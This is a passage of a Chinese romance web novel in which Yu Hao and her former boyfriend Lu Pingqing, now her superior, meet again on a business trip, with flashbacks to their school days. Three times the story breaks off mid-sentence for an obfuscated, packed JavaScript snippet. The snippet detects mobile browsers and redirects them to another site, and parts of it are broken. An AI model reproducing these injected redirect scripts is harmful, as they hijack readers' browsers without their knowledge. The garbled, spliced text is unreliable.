她想了想,又问,“我方便进去吗?粥可能凉了,我帮你热一下。” 陆凭青从前吃饭就没规律,据她几次送资料的观察来看,这个坏习惯在他工作后发挥得更甚。 通常是饭都凉在一边,他工作完感觉到饿,才记起来吃几口。 她觉得只要是不盯着他吃完,估计她前脚刚离开,陆凭青就把吃的东西扔到一边忘个干净。 陆凭青抬起眼,直白看向她,片刻,陆凭青唇角动了动,抱着双臂给她让道。 7. -07- 余好走进房间,才看清这个套房的全貌。 不得不说,国际大公司的福利就是好,不仅他们助理的酒店规格不错,首席翻译住的地方更夸张。 很大,两室一厅。 像个单身公寓。 独立的客厅,电视机,投影仪,靠墙是一张原木方桌,除了酒店提供的速食产品,上面摆着待机的笔记本电脑和几份摊开的资料。 浴室暖黄灯开着,里面雾气漫出,余好猜他刚刚大概才洗完澡,不然怎么会进门就是扑鼻的一阵香味。 余好从柜子里翻出瓷碗和碟子,把东西都腾出来放进微波炉,预定了时间然后开始处理水果。 陆凭青将门拉拢,留了缝,没关严实。 他从玻璃瓶舀一勺咖啡豆,装进萃取机,做美式浓咖的动作熟念轻巧,问余好:“喝点什么,咖啡?” “我不渴。” 陆凭青不再说话。 也对,她最怕苦,在一起的时候,感冒药都要他哄好久才肯捏着鼻子皱眉喝下。 他站在咖啡机前等待萃取液,余好顺势递上一瓶椰汁。 “你试过吗?咖啡里加点椰汁。” 他迟疑片刻,还是接了。 水龙头下的冰水汩汩流动,余好看着手中的苹果,到底没忍住,问他:“周希然那件事,公司会怎么处理?” 陆凭青单手撑在岛台上,垂眸拧开椰汁,倒进杯中,“停职,辞退,降职,都有可能。” 小半杯椰汁灌入咖啡,浓浓的椰青香,他顿了顿说,“最理想的结果是停职查看。” “这件事并不是她的错,你也看见了,张诠……” 她顿了一下,改口,“那个男人有多恶心。” 陆凭青沉默几秒,平静理性:“那是谁的错?你的,还是我的?余好,我们这次出差是代表正宸,员工形象对一个公司的影响多大,我不说你也该清楚。周希然她是成年人,但凡清醒一点,做事就应该用脑子想想会有什么结果,出现这样的事情,为什么解决不了也不上报?我不说正宸给的处理方式会让她百分百满意,但至少不会还有比眼下更糟糕的情况。” 余好默然噤声。 她怎么会忘了,正宸那么大的公司,要是今晚的视频被有心人发到网上,会引起多大的轰动。 “公司那边是不是很生气?”余好握着切水果的小刀,脑海中反复浮现争执画面。 “还没有闹到上面去,就你们苏首席知道了,视频陈助理会处理好,这次影响不大,周希然的处境,大概率没有你想得那么严重,有时间乱想不如多看看贸贞的DL86项目,争取明天顺利拿下合同。” 余好停了手里的动作,认真看着他:“我今天的做法,是不是太幼稚了。” “人都有情绪上头的时候,我只是想提醒你,下次要帮别人之前,首先保证自己的人身安全。” 他的眸光从她的唇瓣一扫而过,那种眼神实在是太熟悉。 直白,赤裸。 他从前想吻她之前,就习惯露出这样的眼神。 房间很安静,余好都快要有幻觉,陆凭青下一秒就会俯身。 指尖抓紧果盘,她心里刚冒出点不知好歹的期盼。 叮— 微波炉突然响起提示声,打破所有莫名其妙的幻想。 余好皱了皱眉,有些尴尬地轻咳一声,转过身带上烘焙手套端粥和鸡蛋饼。 有什么东西落空。 陆凭青眼眸划过一丝落寞。 在余好再次抬眼看他时,已经转瞬即逝。 他回到桌边继续工作,状态进入得神速。 “吃点吧。”余好把粥轻放在他右手边,“味道应该还是从前那样。” 他不饿,也没什么食欲,可她的视线太过于真诚。 陆凭青执勺喝了几口。 她一定要看着他吃完才行,便坐在陆凭青对面的座椅上,戴上蓝牙耳机打开博客,听纯俄语日报,一边专注听着一边在心里同声默译。 两个人都做着各自的事情,却格外融洽,陆凭青偶尔吃一口她带来的东西,天边泛白的时候,他才发现余好趴在桌子上睡着了。 他走到她身边,单膝蹲下。 她变了很多,从前的齐耳短发长长了,学会画淡妆了。 他一一观察余好这些年的变化。 陆凭青从前不爱咖啡,现在也不爱,只是成了某种习惯。说起来,这习惯形成的原因余好算是其中之一。 大三那年冬天,陆凭青跟陆正筳关系僵到极点,陆凭青看不惯陆正筳虚与委蛇的资本家做派,陆正筳指着陆凭青说他跟他那个妈一个样,眼高于顶的清高。 陆凭青冷眼看着那个血缘关系上被定义为他生物学父亲的中年男人,拳头攥紧好几次,最后只是松手,毅然选择从家里搬到学校周围的公寓。 对于那个冬天的记忆,陆凭青仅记得零下的天气和桌上永不空杯的咖啡以及带着白色毛线帽,双眼亮晶晶跟他说外面下雪了的余好。 公寓租金并不便宜,于是陆凭青开始体会到为钱拧眉的日子。他接低价翻译稿,给人做枪手,在校学生的身份接不到价格多高的单子,陆凭青除了上课就在家里翻译文件,杂七杂八什么活儿都做。 余好那时头发还不及肩头,常常爱穿白衬衫牛仔裤,头发扎成青春洋溢的马尾,细白饱满的额头露出来,简单又清新。 没课的时候余好也爱往他的公寓跑,来时手里总提几袋宵夜,楼下大排档的小龙虾,超市促销买一送一的盒饭,她总能找到便宜又好吃的东西。 他全身投入翻译,余好就替他冲好咖啡躺沙发上看书。 很多个下午,他从工作中回过神时余好手里的书已经盖在脸上熟睡。 有一回,陆凭青轻轻拿起盖在她脸上的那本书,随手翻开一页,还没看清段落,脸颊就被人轻轻柔柔吻了一下。 余好趴在沙发边,笑眯眯看着他,女孩眼中细碎的光很亮很亮,她说:“好奇怪啊陆凭青,我本来很讨厌冬天,但是为什么现在我会希望这个冬天慢点过去。” 陆凭青没回话,他看着她淡红莹润的唇,想吻。 还没来得及做出行动,余好先一步抓住他的领口,倾身吻上他的唇。 时至今日,陆凭青还记得余好当初长卷的睫毛微微抖动,记得她的唇是微凉柔软的触感。 · 寂静深夜里,一道挺拔高大的身影俯身抱起熟睡中的女人走向卧室,他的动作很轻。 把怀中的人放在床上,他伸手去拿被子,那床棉被却被睡梦中的女人自己抓紧了。 看着床上的人,男人凌厉的眉眼在灯光下似乎柔和了几分,他深黑的眼眸中压抑着薄薄不舍和苦楚。 她睡得很香甜,翻身抱着被子轻轻抿了抿唇,散开的发丝垂在床沿,他抬手去碰。 柔软的发丝在他指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677569|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖,细细的氧,淡淡的馨香。 半秒后,骨节分明的手又无力垂下。 这样的场景,别的男人也见过了。 他的奢望对另一个男人来说,是日常。 多讽刺。 这世上,也他求不到的东西。 陆凭青看着那张脸,竟生出一丝不真实感,余好,此刻安安静静在他身边睡着了。 而他还有机会,再细细看看她。 夜色杂糅,她睡姿跟从前一样烂得可以。 五年前听说她订婚后,陆凭青就刻意不再去打探余好的消息,分手之后那点可怜的自尊心叫他嘴硬,靠着没日没夜的工作来克制想再去找余好,再去自取其辱的念头。 她已经把这份感情扔得好不留念,陆凭青不认为自己该再去犯贱。 也深以为时间是最能叫人释怀的,可这五年来,余好那张洋溢着灿烂笑容的脸总能在某个他以为即将翻篇的时候如期而至出现在梦里。 最诡谲的一次。 陆凭青梦到他又回到大学和余好住过的出租屋,他打开门,余好在厨房煲汤,他站在门边看她,余好笑嘻嘻过来问他累不累。 他一把搂着余好的腰,埋在她脖颈间说不累,很饿。 她就拉着他的手去厨房,盛汤给他喝,她突然问他是不是一辈子都会记得这个味道。 陆凭青点点头,梦里的场景忽然就变了,他们站在细雨中,隔着几米远。 余好眼神戚戚的,问他:“真的一辈子都不会忘记吗?” 那天晚上陆凭青猛然地清醒。 才意识到,面对有些事情,即使再花上十年,二十年的时间,或许也翻不了篇。 于是, 思念是痛苦的,呼吸也是痛苦的。 再也睡不着,心里啐一句余好真是白眼狼后起身去客厅工作。 很多次这样的时候,陆凭青靠着工作熬过来。 榕城是不夜城,夜里灯红酒绿。 他在客厅辗转反侧时,那几年榕城也高速发展,落地窗外楼层建得越来越高,LED侧夜不眠,无声陪着他渡过日日夜夜。 不是没有主动示好的异性,每次苗头都还未来得及冒尖,就被陆凭青不着痕迹掐断。 他隔着一道门与外界沟通,任由外面人来人往,也绝不踏出半分。 直到她又莫名其妙出现,抱着入职箱傻里傻气被人拉到他面前。 他是动了想讽刺她的念头的。 不是结了婚吗?怎么会下雨天都没人来接。 不是顺从家里安排回南临工作吗,怎么会出现在这里。 那些恶毒不入耳的话,他悉数咽回去。 他们什么关系?她说没关系,哦,也对,没关系,他何必费口舌。 只是为什么,她的无措依旧牵连他的心疼? 哪怕知道她身边已经有别的人比他更有资格,他还是插手了她的事。 “唔……” 梦呓般轻声的嘟囔把他从回忆拉出。 余好正抱着被子把自己的脸捂得严严实实,他轻轻握着她的手腕,将被子拉下半尺。 她终于得以顺畅呼吸,紧皱的眉舒展。 陆凭青自嘲扯扯嘴角。 从前现在,余好都是这样,轻而易举就能让他好不容易建起的垒壁瞬间垮塌。 心甘情愿给她善后。 这是她的本事,也是他的自作自受。 8. -08- 嘟嘟— 床头柜的电话铃声在房间响起来时,余好睡得正香,她从被子里伸出手,胡乱摸了一把。 在空气中乱挥一阵,电话依然震动不停。 吵得人头皮发麻。 余好起床气都要发作,终于拿到手机,睡眼惺忪下摁了接听。 “起床了?”低沉的嗓音没什么情绪。 余好翻了个身,“嗯……嗯?” 几乎是一瞬间就清醒,她立马坐起身,看一眼手机屏幕。 时间:【凌晨7:13】 不不不,这不是重点。 视线停在那一串数字上。 眼熟于心的电话号码就在上面闪烁着。 哪怕没有备注她也知道,是陆凭青。 说起来,余好在记电话号这一方面,天赋差得要死,唯有陆凭青的号码,她那么轻而易举就记住了。 再看看这房间,木质简约风格,大床房,真皮沙发,书桌。 这是陆凭青酒店的房间。 她怎么在这? 昨天,余好揉了一把头发终于想起来,昨天,她守着陆凭青吃东西,结果人家还没吃完,她就睡着了。 “我在外面,一会儿过来接你去贸贞,我预约了酒店的早点,应该很快就有人来敲门。” 余好懊恼于自己昨天的大意,这叫她怎么面对陆凭青。 怎么想都觉得尴尬。 “不用了,我自己打车过去就好。”余好快速起身,急匆匆走进卫生间。 一边翻找一次性洗漱用品,一边想着措辞,“我会准时到的,你不用那么麻烦……” “余好,这不是商量。” 他似乎深呼一口气,然后看一眼时间,冷声说,“我二十分钟后到楼下。” “吃完东西再下来,我不想开会时有员工因为低血糖晕过去。” 十足强硬的语气,令人都没有反驳的余地。 “是。”余好只能窝窝囊囊回他。 她刷着牙看着镜子里头发乱糟糟的自己。 她抢了上司的房间,鸠占鹊巢,就这么睡到大天亮,陆凭青昨晚睡的哪? 沙发?还是另开了房间? 她对着镜子挤眉弄眼。 嗯,余好。 这么丢脸的事情,全世界大概只有你一个人能做得出来。 * 面带笑容的年轻服务生摁响门铃,余好打开就看见一餐车的早点。 “余小姐是吗?” “我是。” 他打开餐盒,托盘上小巧热气的小笼包搭配乳白色豆浆,特别有烟火气的一餐。 “这是陆先生为您叫的早餐,祝您用餐愉快,谢谢。” 余好端着早餐进了房间。 吃了一口小笼包,香而不腻的酱香味,丝毫不亚于姥姥的手艺。 食欲瞬间被打开,余好仅仅不到半分钟就接受了,翘着腿在餐桌上吃美了。 这酒店真好,不像其他地方的流水线式装潢,反倒有几分家的温馨。 怪不得有钱人宁愿花几千、几万住一酒店,她要有钱了,也乐意住这种地儿。 翻着手机消息,余好看见周希然给自己打来好几通电话。 她回拨过去。 “余好姐,你终于接电话了,我大早上起来就没看见你,你没事吧?”关切的声音混合着呼呼的风声而来。 “我没事,在我一个朋友这里,你怎么样了……今天还用去开会吗?” “没事就好,苏首席已经通知我停职一个月了,我现在在车站,准备回平湘了。”她的语气听起来并没有什么异常,余好想安慰也说不出口。 平湘,是周希然老家。 倒是周希然自己看得很开:“不用担心我,不就是停职一段时间吗,过几天我照样满血复活的啦。就算被辞职也没关系啊,我有手有脚的,在哪不是都能活,你要是问我后不后悔呢,我倒挺后悔的,” 她顿了一下,煞有介事笑着抱怨起来:“后悔昨天那一巴掌给得太轻了,简直对不起我四年的青春。对了,余好姐,你也别有什么负担,别觉得我停职跟你有关系,这是我自己选的,你没受我牵连就好。好好干啊,等我回来。” 两人就这样把话题绕过去,闲聊了几句,周希然那边高铁到站,要准备检票,才挂断电话。 余好瞧了眼时间,陆凭青在五分钟前发了一条微信给她。 【我在楼下。】 她简单收拾后带着外套出了门。 · 看见路灯下那辆哑光复古红的敞篷车,余好甚至都怀疑是自己眼睛花了。 陆凭青,他怎么开这么骚包的车。 他坐在驾驶座,看着对街的余好,轻摁了一声喇叭。 余好忍着笑走过人行道,拉开车门坐在副驾。 “这车……”她扬着嘴角欲言又止,“还挺别致的。” 本来就这么显眼的颜色,偏偏陆凭青还一本正经的表情。 特别奇怪的搭配。 “司幸来的车。”陆凭青简单解释。 “司首席是宜安人?”余好系安全带的动作一顿。 “他是榕城人,跟朋友在这边合开一家台球俱乐部,偶尔回来宜安。” “台球俱乐部,”余好点点头,觉得还挺有意思,问陆凭青,“那生意好吗?” 他单手打方向盘,声线冷清:“没去过。” 看起来不是很想说话的样子。 余好指指车载电台:“能开吗,会不会吵到你?” 陆凭青抬手摁下开关,无声让她自己操作。 余好在屏幕上点了几下,进了音乐频道,歌曲正播放到前奏。 曾经单曲循环的老歌,都不用听到歌词,余好就准确说出歌名。 “欸,这首歌老孙高三毕业晚会唱过,然后跑调了,你还记得……” 她没想那么多,单纯想到从前的事情,顺嘴就说出口了。 陆凭青侧过头,无声看着她。 红灯亮得不早不晚,横行道车流涌动,世界都安静了。 话到一半,余好尴尬地嘘声了。 她这是在干什么,跟陆凭青套近乎吗? 他不见得想跟她忆往昔。 她抿抿唇,别过头不说话了。 心里暗自后悔刚刚的举动,心想陆凭青现在大概想叫她下车的心都有了。 可是,下一刻,车子启动,引擎声落下那一刻。 陆凭青薄唇轻启:“记得。” 余好猛然抬起头看他,电台里,沙哑的男声唱到高潮部分: 「受不了看见你背影来到 写下我度秒如年难捱的离骚」 …… 怀旧抒情的音调仿佛从很远很远的地方传来,让人不得不回想起那个热闹嘈杂的夜晚。 二零一三年,六月中旬。 明明是最闷热的一段时间,余好却记得那个夏天下了好几场雨。 才结束完一场旷日持久的高考战,憋了三年的南临一中高三生终于得以释放。 为体恤大家的辛苦,校领导组织了一场空前绝后的毕业晚会。 花了大价钱在操场临时搭建舞台,每个班都分到一批荧光棒,整得跟演唱会似的。 余好抱着凳子慢吞吞走在队伍最后,撅着嘴不高兴的样子像是要号召全天下。 考前老妈答应的最新款手机变成听几首歌就卡顿的二手机,换谁谁高兴。 她就不该妥协的,昨晚跟老妈谈判,再嘴硬点说不定就给换了。 现在那破手机还揣在兜里呢,想想都气人。 “小鱼,你怎么还在这,我们班不是很早就去操场了吗?”温柔清脆的声音出现在耳边。 穿着校服同样抱着凳子的女孩追上她。 不同于余好的跳脱气质,陈茉整个人都是内敛的。 从里到外的内敛,标准的好学生,长相好,成绩好,就连叛逆这个词在她字典里也是不存在的。 上课不走神,头发剪到学校规定长度,脸蛋白净,长发飘飘,说话有理有据,余好最佩服陈茉能每天都坚持晨跑。 差距这么大的两个人,天知道怎么就做了朋友。 “欸,别提了,我妈不是答应我考完带我去买手机吗。结果昨天就扔给我一台她用过的酷派,都用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677570|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几年了,摔也摔几千次了,超级无敌难用。”余好焉巴巴贴到陈茉右边,整个人靠着她的肩膀,一副抑郁寡欢的样子。 “我现在是吃饭也吃不香,睡也睡不着了——” 余好掏出手机,正要给陈茉展示自己的破烂,想到一件事,忽然来了精神,一边艰难摁着开机键一边聚精会神盯着手机:“说起来,我昨晚还下载了几个小游戏,要不我们不去看晚会了,回教室躲着玩会儿呗,反正现在操场肯定是人挤人。” 陈茉歉意地笑笑:“对不起啊小鱼,今晚十六班有人生病不能参加,我顶了一个位置,要弹钢琴,不能陪你一起了。” 余好兴致缺缺收起手机:“算了,我一个人也不好玩。那过几天陪我去看电影呗,世贸商场新开了烤肉店,学生证打六点八折呢,叫上老孙,陆凭青一起,我们AA。” “好。”陈茉揉揉她的头顶,习惯余好的想一出是一出。 两个女孩晃到操场,果然看见乌泱泱一群人。 陈茉去后台换演出服,余好弓着腰搬着两个凳子穿过混乱的人群找到自己班级,在女生那列队伍最后找了空地坐下。 她看见陆凭青也在后排,扯扯他的衣袖,问他身边那个空位是谁。 陆凭青看见余好,怔了一下,落在她涂了唇彩的嘴巴上。 红润,小巧可爱。 她第一次涂这种东西来学校,虎头虎脑跟他讲小话的样子有点鬼鬼祟祟。 陆凭青不自觉弯弯唇角说:“老孙,他说紧张,去后台等着了。” 余好盯着那一大袋零食,看见冒尖的那点黄色包装,扬眉冲陆凭青使眼色:“把老孙位置上那袋芒果干拿过来。” 他们几个人前后桌的关系,平常去小卖部都是请来请去的,吃点东西算不上什么。 总不至于为这个绝交。 陆凭青顺手把一整袋都拿到余好面前,反正也是他结的账。 余好咧着嘴笑从袋子里挑出两瓶牛奶,问陆凭青要不要,那样子跟分赃没什么两样。 “你吃吧。”他倒是打定主意维持高冷形象到底。 余好懒得理他,撕开一包薯片吃起来。 台上的主持人讲着经典老套的开场白,节目一个比一个无聊,余好听得犯困。 好不容易熬到孙承谦上台,他才开口唱几句就紧张得声音发颤,跑调跑到澳大利亚去。 余好跟着台下的同学一起哈哈大笑。 大雨措不及防下起来,整个操场慌做一团。 明明刚才还好好的天气,忽然就变天了,晚会算是泡汤了,都来不及关掉音响,副校长拿着话筒疏散学生赶紧回教室。 余好提着一大袋零食,两只手也拿不住凳子,六神无主在雨中凌乱。 慌乱中被陆凭青一把拉往屋檐下。 “凳子……”她还不忘煞风景。 “别管了,雨停了再去拿。”陆凭青脱下雨淋湿的外套,里面穿着白色短袖,他的发梢微湿。 余好盯着他愣了一会儿。 这家伙什么时候,长这么高了。 阵雨来得着急,塑胶跑道不久就积起水坑。 彩色灯光闪来闪去,折射在水坑里,打碎一层层涟漪,如梦似幻的颜色。 广播室还有孙承谦没唱完的那首《小情歌》应景地飘荡在整个学校。 有学生探出头,跟着原声一起唱起来,接二连三的附和,大家嘻嘻哈哈又整齐地合唱这首歌。 「你知道就算大雨让整座城市颠倒 我会给你怀抱」 而余好和陆凭青在长达十几分钟的躲雨过程中,安安静静听了一阵雨声和合唱。 青春匆匆而过时,落下的那些痕迹,清晰如昨。 陆凭青看着躲在角落里垂眸,因为靠得有点近而脸色微红的余好,他在雨声中弄清了一件事。 那些百思不得其解的瞬间有了解答。 他确定,以及肯定。 他喜欢余好。 如果现在有人问陆凭青,高中最深刻的回忆。 他大概也只能记起,教学楼屋檐,广播站的小情歌,和余好纯净得毫无杂质的浅棕色瞳眸。 9. -09- 跟贸贞的面谈很顺利,甚至散会时比预计的时间还要早些。 对方听完项目计划后爽快签下合同,一众人往外走,苏簌想起东西落在会议室,余好自告奋勇去找。 原路折回,一个人猫着腰在角落找到那支墨绿色钢笔后,才抱着一摞大文件出会议室。 同事们已经搭上一趟电梯下楼,A组的杨倩在群里艾特余好,说公司安排的车已经到了,问她要不要一起回酒店。 余好回了个OK。 腾出手去摁电梯的下行键。 手机又震动了一下,她才还没来得及看消息,耳边就有脚步声传来。 余好抱紧文件,很自觉往旁边站,却不小心撞到身后的人。 啪— 手机毫无征兆从指尖落下,飞快掉在地上,屏幕上有细微裂纹现出,余好愣了一下。 陈臻手里端着杯咖啡,这一撞,杯内液体差点泼到身上,他手忙脚乱拿远一点,才避免场面更糟糕。 “对不起对不起。” 道歉说出口那瞬间,陈臻迟疑了一秒,觉得刚刚被自己撞到的那背影有点熟悉,看清余好的脸后才笑了笑,有些不好意思: “原来是余助理啊,你怎么在这?” “我帮苏首席拿个东西。”她把手中的钢笔亮出。 “我刚刚走太快了,真没注意到你,对不起啊。”始作俑者陈臻语气里百分百的歉意。 好吧,今天点背到家。 余好自认倒霉,摇摇头:“没事,我自己也挡路了。” 她正要蹲下捡手机,有一只手抢先一步。 先入为主的是一阵浅淡的雪松香,混合丝丝薄荷味入鼻,疏离中隐约有吸引人的克制。 骨节分明的手指不知为何在空中停滞几秒,片刻后又快速将那部手机捡起,递到她面前。 是陆凭青。 他穿黑色衬衫,戴了副半框眼镜,眉骨立体,五官更为严峻。 这还是余好第一次见他戴眼镜,哪怕早上在会议室已经看到,但这样近距离,更能看清他眉眼间的寒意。 黑眸深沉似潭,那种不可琢磨的神秘令人心向往之又望而却步。 “……陆首席。” 她跟他对视时,愕然愣住。 余好还以为陆凭青早就跟其他人一起离开了,没想到在这也能碰见。 陆凭青没什么情绪。 仿佛现在这只是再平常不过的一个时刻。 见她迟迟不动,他抬抬手腕,凌然的视线从镜片后透过,语气淡薄:“手机,不要了?” 余好后知后觉自己失态,这才伸手接过:“谢谢。” 他轻嗯一声算作回应,然后移开眼看电梯楼层提示器。 余好拿着手机又往旁边站了点,低下头检查功能,没发现什么异常后才松了口气。 陈臻瞧着摔得跟蜘蛛网似的手机:“哎,摔成这样了,要拿去维修店去修一下吧。我记得楼下好像有家店能修,余助理,我陪你去问问吧,修完请你吃个饭就当赔罪,不过吃饭得等晚上,下午我们还有点事。” 余好抬眼,下意识看一眼陆凭青。 他单手插兜,身型英挺欣长,静默等待电梯降下,只是目光再没有往这边看过来。 果然,他也不是很想和她待在同个地方的吧。 余好捏紧手机:“不用了,我这个手机用很久了,本来就准备换掉的。” “用多久我也该请你吃顿饭,你别替我省钱啊,把你手机弄坏了,不做点什么我总感觉心里过不去。” 陈臻以为她是不好意思,坚持要请她,一边说一边拿手机准备打电话给餐馆订位置了。 “真的没事陈助理,吃饭的事情,等回榕城再请也不迟。” 拒绝人的措辞都恰到好处的舒服,陈臻再没法多说什么,点点头:“那以后有什么需要我帮忙的,学学周希然,她让我帮她拿快递可是从来不怕给我添麻烦的,你也别客气。” 提到周希然,余好脸色一滞,陈臻想起昨晚的事情,这才觉得有点不合时宜,尴尬默了声。 电梯这时候打开,三人踏进电梯厢。 陆凭青站在电梯厢右侧,看着余好的身影。 她今天穿了职业装,白衬衫,黑色A字裙,头发盘成丸子,眉眼间有淡淡的疲倦,整个人温吞安静。 记忆里,她在的地方从来是喧闹的。 时间具像化的痕迹是如此的明显,他再想忽视也不得不承认,余好变得和从前不一样了。 想到刚才无意间看见的那条消息,陆凭青垂在身侧的手指一松。 他不是刻意要看的,那人发给余好的消息。 可俯身时,那个备注「沈亦荷」的人正巧发来信息,他下意识往屏幕看。 是一条微信消息: 【想去看看吗?周五的晚场脱口秀,在粤江湖附近,离你公司很近。】 周五,约会。 陆凭青及时揪出几个关键词,心头一阵落空。 还有什么比得上这一刻来得令人愕然,哪怕知道她身边有人,但那个模糊影子真的清晰后,他仍感到一阵轻微的窒息。 不管怎么样,至少看起来,他们感情还不错。 · 余好没有注意到身后的视线,调整情绪,才轻声问陈臻:“周希然,她还能回公司吗?” 陈臻被这问题问得轻咳一声,想了想才说:“我实话说吧,这事不一定,虽然说是停职一个月,但昨晚我看苏首席挺生气的,最后怎么处理,都是未知数。就算周希然不能回正宸,苏首席也总不至于断她生路不是,之前C组有个助理叫姚蕊佳你知道吗?” 余好愣了一下:“听希然说过一点。” 说是泄露了合同书,被正宸扫地出门的前员工。 陈臻:“姚蕊佳是苏首席亲力亲为带出来的,从实习生到项目负责人,整整两年时间,苏首席真是能教的都教给姚蕊佳了,结果姚蕊佳背地里和对手公司一个男的好上了。 那男的也不知道怎么拿到我们的项目书改版之后找到合作方捷足先登,导致我们整个俄语三组的心血付之一炬。为此,董事大发雷霆,撤走了苏首席手里的所有合作,摆明就是架空她,想让苏首席自行离职。 都到这一步了,是谁都吃一堑长一智避着她,但苏首席这人心软,知道姚蕊佳过得不好,翻译圈没人敢要她,苏首席私底下给她介绍了份工作,当然不是翻译相关,她现在在外贸公司上班,做海外食品进口的,听说前不久已经升经理了。” 姚蕊佳的事,余好也只在午休听同事闲聊说过几句,以为就是个饭后谈资,没想到这其中还另有说法,不由有些唏嘘:“后来呢,撤了项目之后,有人离职吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677571|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈臻摇摇头:“没有,C组那群助理也是义气,一个没走,反而更来劲,每天跟机器人似的加班,苏首席觉得对不起他们,自掏腰包以奖金名头给每个助理卡里打了笔钱。整个部门就这么撑了小半年才有好转。” 见余好听得认真,陈臻叹口气说:“你说你们苏首席这么个感性的人,哪可能真把人往死里整,况且周希然还是她手底下的员工。行了,你也别想这些费心神的东西,回酒店好好休息一会吧。” 电梯门打开,余好嗯了一声出去,看见两人原地不动,愣了一下:“陈助理,你和陆首席,不回酒店吗?” 问的是陈臻,视线却落在陆凭青身上。 陆凭青薄唇微动,预备要说话,陈臻抢在之前解释了几句:“中午还有个饭局,我们直接去地下车库,跟贸贞的副经理约好的午饭。以前的交情摆在这,人家执意要请陆首席吃个饭,来都来了不去也说不通。” 话已说完,陆凭青捻了神色一言不发。 余好点点头,猜想大概是自己问得太多,陆凭青懒得理人,觉得有点尴尬,笑说:“那我先回去了,你们注意安全。” 她离开的脚步匆匆,陈臻往外看了一眼,觉得有点好笑:“这余助理还挺有意思的,用丝带做头绳。” 陆凭青摁了关门键,一闪而过她发丝间缠绕的黑色薄纱丝带,淡声道: “陈臻。” “你今天话有点多了。” * 脱口秀。 余好蹲在酒店房间的客厅矮桌前对着手机走神,屏幕是刚换的钢化膜,小两百呢,贵得她肉疼。 一次性筷子无意识戳着塑料碗里的关东煮萝卜,她微微抿唇,纠结该怎么回复沈亦荷。 这样的邀约是什么意思,她不会不懂得。 各自忙碌中抽出时间见一面,是发展的趋势,成年男女心照不宣,余好也不例外。 她明白能和沈亦荷发展是最佳选择,他们年纪相仿,沈亦荷长相又不错,做事还无微不至,哪一个维度都挑不出错误的结婚人选。 如果生活注定要找个人安定下来,她想不出拒绝和沈亦荷继续接触的理由。 二十三岁那年她也差点结婚。 那是和陆凭青分手后,余好灰头土脸回到南临,跟所有人一样,与相恋几年的初恋分手后,她一度很麻木,除了上班,连出门都觉得无力。 孙傲梅的牌友把自己的侄子介绍给余好。 对方姓邱,比她大上三岁,为人正经老实,话不多。 余好跟他在一起没什么话题聊,大多时候都是大眼瞪小眼。 双方父母却都很满意,两人都到谈婚论嫁买房子那一步,就差临门一脚。 余好跟人去看婚房,对方对着样板间谈着以后的装修计划,余好突然觉得很荒唐。 她甚至都还不熟悉这个人,他们不过是看过几次电影,一起吃过饭的陌生人,居然就要结婚,要一起过完剩下的几十年。 余好生出逃跑的念头,当晚就跟对方提了分手。 家里的亲戚最开始还热衷于给她介绍条件相仿的对象再后来看石头都扔进去了一点水花都没有,大多亲戚也就作罢,唯有二姨坚持不懈给她介绍。 大概是那些年孤注一掷的勇气在陆凭青那全都消耗殆尽,才会让她直至现在都画地为牢,不肯迈出那一步。 10. -10- 脱口秀的邀约,余好答应了。 她和沈亦荷约好时间在粤江湖见面。 周五下班前半小时,余好从苏簌的办公室出来,直直走进茶水间。 休息日前一天,大家都忙得脚不沾地,余好成为其中一员,习惯这样的快节奏。 从三个月前每次穿高跟都是折磨,到现在哪怕蹬着十厘米的细跟,她也能健步如飞赶地铁。 一整天的忙碌扰得余好焦头烂额,脑海里全是接触的诗句乱飘。 随手从柜子里拿出冷泡绿茶包扔进水杯,直饮水汩汩冲进杯中,此刻茶水间只有她一个人。 她靠着半米高的大理石岛台,端着杯子终于得以喘口气。 沈亦荷的消息在这时候发来:【要下班了吗,我在你公司楼下】 她这才想起晚上的脱口秀。 人忙起来果然记忆就变差。 【那可能得麻烦沈律师等一会了,今天很忙】 沈亦荷:【没关系,你慢慢来,我朋友在附近开了一家日料店,正好去打个招呼】 余好:【是润茄文创店旁边那家吗?】 沈亦荷:【对,你去过】 余好:【没有,只是听同事说过味道还不错】 去地铁站时会路过,每天人满为患,看起来生意特别不错,她有次想进去的,看见价格的那一刻就止步于只是看看而已了。 有没有搞错,单人消费一千左右。 一顿金子做的饭,需要吃掉她将近五分之一的工资,简直疯了。 沈亦荷:【是还不错,如果感兴趣,今晚我们可以去试试,我让朋友留间私密性好点的包厢】 是要请她吃日料的前兆。 余好不得不承认,沈亦荷这种人,圆滑起来也毫无痕迹,他愿意的话,在任何场合都能吃得开。 余好:【不用麻烦了,随便吃点就好,我其实不太习惯吃饭也弄得太正式】 沈亦荷那头‘正在输入中’闪了好几秒,才回她一句:【没关系,按你的习惯来】 